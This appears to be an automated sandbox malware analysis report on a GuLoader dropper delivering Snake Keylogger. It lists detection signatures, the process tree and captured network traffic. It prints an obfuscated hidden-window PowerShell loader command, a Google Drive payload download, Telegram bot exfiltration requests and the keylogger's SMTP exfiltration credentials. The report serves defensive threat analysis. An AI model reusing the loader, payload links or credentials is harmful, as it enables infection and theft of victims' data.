Edit tour

Windows Analysis Report
Sprawl.exe

Overview

General Information

Sample name:	Sprawl.exe
Analysis ID:	1539387
MD5:	47fd98348b7d314e4e9dae46e5f1e1a1
SHA1:	cafe48404707e61235bfbe6646d8072af4298e21
SHA256:	125b4582b7dd2221044fb257f580da57e4dc61b03a6c35e208fed973f71c28a1
Tags:	exevipkeyloggeruser-malwarelabnet
Infos:

Detection

GuLoader, Snake Keylogger

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Early bird code injection technique detected

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Yara detected GuLoader

Yara detected Snake Keylogger

Yara detected Telegram RAT

AI detected suspicious sample

Found suspicious powershell code related to unpacking or dynamic code loading

Loading BitLocker PowerShell Module

Powershell drops PE file

Queues an APC in another process (thread injection)

Suspicious powershell command line found

Tries to detect the country of the analysis system (by using the IP)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses the Telegram API (likely for C&C communication)

Writes to foreign memory regions

Contains functionality for execution timing, often used to detect debuggers

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to read the PEB

Contains functionality to shutdown / reboot the system

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sigma detected: Msiexec Initiated Connection

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Sigma detected: Suspicious Outbound SMTP Connections

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses SMTP (mail sending)

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

Sprawl.exe (PID: 2836 cmdline: "C:\Users\user\Desktop\Sprawl.exe" MD5: 47FD98348B7D314E4E9DAE46E5F1E1A1)

powershell.exe (PID: 2524 cmdline: "powershell.exe" -windowstyle hidden "$Sensitometer42=Get-Content -raw 'C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian\Paraffinerer.Dej';$Loveliest=$Sensitometer42.SubString(55162,3);.$Loveliest($Sensitometer42)" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 2324 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

msiexec.exe (PID: 4460 cmdline: "C:\Windows\SysWOW64\msiexec.exe" MD5: 9D09DC1EDA745A5F87553048E57620CF)

powershell.exe (PID: 3796 cmdline: "powershell.exe" -windowstyle hidden "$Sensitometer42=Get-Content -raw 'C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian\Paraffinerer.Dej';$Loveliest=$Sensitometer42.SubString(55162,3);.$Loveliest($Sensitometer42)" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 4052 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

msiexec.exe (PID: 3212 cmdline: "C:\Windows\SysWOW64\msiexec.exe" MD5: 9D09DC1EDA745A5F87553048E57620CF)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://any.run/cybersecurity-blog/deobfuscating-guloader/ https://asec.ahnlab.com/en/55978/ https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Name	Description	Attribution	Blogpost URLs	Link
404 Keylogger, Snake Keylogger	Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victims sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram.	No Attribution	https://any.run/cybersecurity-blog/analyzing-snake-keylogger/ https://any.run/cybersecurity-blog/reverse-usering-snake-keylogger/ https://blog.netlab.360.com/purecrypter https://blog.nviso.eu/2022/04/06/analyzing-a-multilayer-maldoc-a-beginners-guide/ https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord	https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger

Malware Configuration

Threatname: Snake Keylogger

{"Exfil Mode": "SMTP", "Username": "transjcama@comercialkmag.com", "Password": "pW@4G()=#2", "Host": "smtp.ionos.es", "Port": "587", "Version": "4.4"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000008.00000002.3378029055.0000000021DF1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000004.00000002.2855794933.000000000B95D000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
00000002.00000002.2786477517.000000000B78B000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
00000009.00000002.3378186894.0000000022911000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000008.00000002.3358316175.0000000005B30000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
00000009.00000002.3358056875.0000000006390000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
Process Memory Space: msiexec.exe PID: 4460	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: msiexec.exe PID: 4460	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: msiexec.exe PID: 3212	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: msiexec.exe PID: 3212	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Click to see the 5 entries

Sigma Signatures

System Summary

Sigma detected: Msiexec Initiated Connection

Source: Network Connection

Author: frack113: Data: DestinationIp: 142.250.184.238, DestinationIsIpv6: false, DestinationPort: 443, EventID: 3, Image: C:\Windows\SysWOW64\msiexec.exe, Initiated: true, ProcessId: 3212, Protocol: tcp, SourceIp: 192.168.2.6, SourceIsIpv6: false, SourcePort: 49986

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Source: File created

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 2524, TargetFilename: C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian\Agog\Smriti\Sprawl.exe

Sigma detected: Suspicious Outbound SMTP Connections

Source: Network Connection

Author: frack113: Data: DestinationIp: 213.165.67.102, DestinationIsIpv6: false, DestinationPort: 587, EventID: 3, Image: C:\Windows\SysWOW64\msiexec.exe, Initiated: true, ProcessId: 4460, Protocol: tcp, SourceIp: 192.168.2.6, SourceIsIpv6: false, SourcePort: 50027

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "powershell.exe" -windowstyle hidden "$Sensitometer42=Get-Content -raw 'C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian\Paraffinerer.Dej';$Loveliest=$Sensitometer42.SubString(55162,3);.$Loveliest($Sensitometer42)", CommandLine: "powershell.exe" -windowstyle hidden "$Sensitometer42=Get-Content -raw 'C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian\Paraffinerer.Dej';$Loveliest=$Sensitometer42.SubString(55162,3);.$Loveliest($Sensitometer42)", CommandLine|base64offset|contains: v,)^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\Sprawl.exe", ParentImage: C:\Users\user\Desktop\Sprawl.exe, ParentProcessId: 2836, ParentProcessName: Sprawl.exe, ProcessCommandLine: "powershell.exe" -windowstyle hidden "$Sensitometer42=Get-Content -raw 'C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian\Paraffinerer.Dej';$Loveliest=$Sensitometer42.SubString(55162,3);.$Loveliest($Sensitometer42)", ProcessId: 2524, ProcessName: powershell.exe

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-22T16:12:05.444916+0200	2803305	3	Unknown Traffic	192.168.2.6	49993	188.114.97.3	443	TCP
2024-10-22T16:12:06.804302+0200	2803305	3	Unknown Traffic	192.168.2.6	49996	188.114.97.3	443	TCP
2024-10-22T16:12:17.408699+0200	2803305	3	Unknown Traffic	192.168.2.6	50021	188.114.97.3	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-22T16:12:01.180935+0200	2803274	2	Potentially Bad Traffic	192.168.2.6	49990	193.122.6.168	80	TCP
2024-10-22T16:12:04.537983+0200	2803274	2	Potentially Bad Traffic	192.168.2.6	49991	193.122.6.168	80	TCP
2024-10-22T16:12:04.725700+0200	2803274	2	Potentially Bad Traffic	192.168.2.6	49990	193.122.6.168	80	TCP
2024-10-22T16:12:06.084842+0200	2803274	2	Potentially Bad Traffic	192.168.2.6	49991	193.122.6.168	80	TCP
2024-10-22T16:12:06.475477+0200	2803274	2	Potentially Bad Traffic	192.168.2.6	49995	193.122.6.168	80	TCP
2024-10-22T16:12:07.709864+0200	2803274	2	Potentially Bad Traffic	192.168.2.6	49998	193.122.6.168	80	TCP
2024-10-22T16:12:08.100608+0200	2803274	2	Potentially Bad Traffic	192.168.2.6	49999	193.122.6.168	80	TCP

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-22T16:11:53.877008+0200	2803270	2	Potentially Bad Traffic	192.168.2.6	49987	142.250.184.238	443	TCP
2024-10-22T16:11:53.895201+0200	2803270	2	Potentially Bad Traffic	192.168.2.6	49986	142.250.184.238	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 00000008.00000002.3378029055.0000000021DF1000.00000004.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: Snake Keylogger {"Exfil Mode": "SMTP", "Username": "transjcama@comercialkmag.com", "Password": "pW@4G()=#2", "Host": "smtp.ionos.es", "Port": "587", "Version": "4.4"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian\Agog\Smriti\Sprawl.exe

ReversingLabs: Detection: 42%

Multi AV Scanner detection for submitted file

Source: Sprawl.exe

ReversingLabs: Detection: 42%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Location Tracking

Tries to detect the country of the analysis system (by using the IP)

Source: unknown

DNS query: name: reallyfreegeoip.org

Source: Sprawl.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49992 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 192.168.2.6:49992 -> 188.114.97.3:443 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49994 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 142.250.184.238:443 -> 192.168.2.6:49987 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.184.238:443 -> 192.168.2.6:49986 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.6:49988 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.6:49989 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:50023 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:50025 version: TLS 1.2

Source: Sprawl.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: e.pdb source: powershell.exe, 00000002.00000002.2754688897.0000000007553000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: qm.Core.pdb source: powershell.exe, 00000004.00000002.2832741780.0000000008951000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: indows\System.Core.pdb source: powershell.exe, 00000002.00000002.2754688897.0000000007553000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\Sprawl.exe	Code function: 0_2_00406033 FindFirstFileA,FindClose,	0_2_00406033
Source: C:\Users\user\Desktop\Sprawl.exe	Code function: 0_2_004055D1 GetTempPathA,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,FindNextFileA,FindClose,	0_2_004055D1
Source: C:\Users\user\Desktop\Sprawl.exe	Code function: 0_2_00402688 FindFirstFileA,	0_2_00402688

Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 21CEF45Dh	8_2_21CEF2C0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 21CEF45Dh	8_2_21CEF4AC
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 21CEFC19h	8_2_21CEF974
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 0323F45Dh	9_2_0323F2C0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 0323F45Dh	9_2_0323F4AC
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 0323FC19h	9_2_0323F961
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 256A31E0h	9_2_256A2DC8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 256ACF49h	9_2_256ACCA0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 256A2C19h	9_2_256A2968
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 256AD7F9h	9_2_256AD550
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 256A31E0h	9_2_256A2DB8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 256AF209h	9_2_256AEF60
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	9_2_256A0673
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 256AE0A9h	9_2_256ADE00
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 256AE959h	9_2_256AE6B0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 256A31E0h	9_2_256A310E
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 256ADC51h	9_2_256AD9A8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	9_2_256A0040
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	9_2_256A0853
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 256AFAB9h	9_2_256AF810
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 256AD3A1h	9_2_256AD0F8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 256A0D0Dh	9_2_256A0B30
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 256A1697h	9_2_256A0B30
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 256AEDB1h	9_2_256AEB08
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 256AF661h	9_2_256AF3B8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 256AE501h	9_2_256AE258

Networking

Uses the Telegram API (likely for C&C communication)

Source: unknown

DNS query: name: api.telegram.org

Source: global traffic

TCP traffic: 192.168.2.6:50027 -> 213.165.67.102:587

Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.76 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.76 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.76 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.76 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.76 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.76 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.76 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.76 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.76 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.76 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.76 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.76 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.76 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.76 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.76 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.76 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.76 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.76 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:760639%0D%0ADate%20and%20Time:%2023/10/2024%20/%2001:23:39%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20760639%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:760639%0D%0ADate%20and%20Time:%2023/10/2024%20/%2001:23:59%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20760639%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 213.165.67.102 213.165.67.102
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3

Source: Joe Sandbox View	ASN Name: TELEGRAMRU TELEGRAMRU
Source: Joe Sandbox View	ASN Name: ONEANDONE-ASBrauerstrasse48DE ONEANDONE-ASBrauerstrasse48DE
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.6:49998 -> 193.122.6.168:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.6:49990 -> 193.122.6.168:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.6:49995 -> 193.122.6.168:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.6:49999 -> 193.122.6.168:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.6:49991 -> 193.122.6.168:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.6:49986 -> 142.250.184.238:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.6:49987 -> 142.250.184.238:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:50021 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49996 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49993 -> 188.114.97.3:443

Source: global traffic

TCP traffic: 192.168.2.6:50027 -> 213.165.67.102:587

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1rPNxWKL8K9PUiAx5BBXPJ-bVegWrIRWE HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1rPNxWKL8K9PUiAx5BBXPJ-bVegWrIRWE HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=1rPNxWKL8K9PUiAx5BBXPJ-bVegWrIRWE&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /download?id=1rPNxWKL8K9PUiAx5BBXPJ-bVegWrIRWE&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49992 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 192.168.2.6:49992 -> 188.114.97.3:443 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49994 version: TLS 1.0

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1rPNxWKL8K9PUiAx5BBXPJ-bVegWrIRWE HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cache
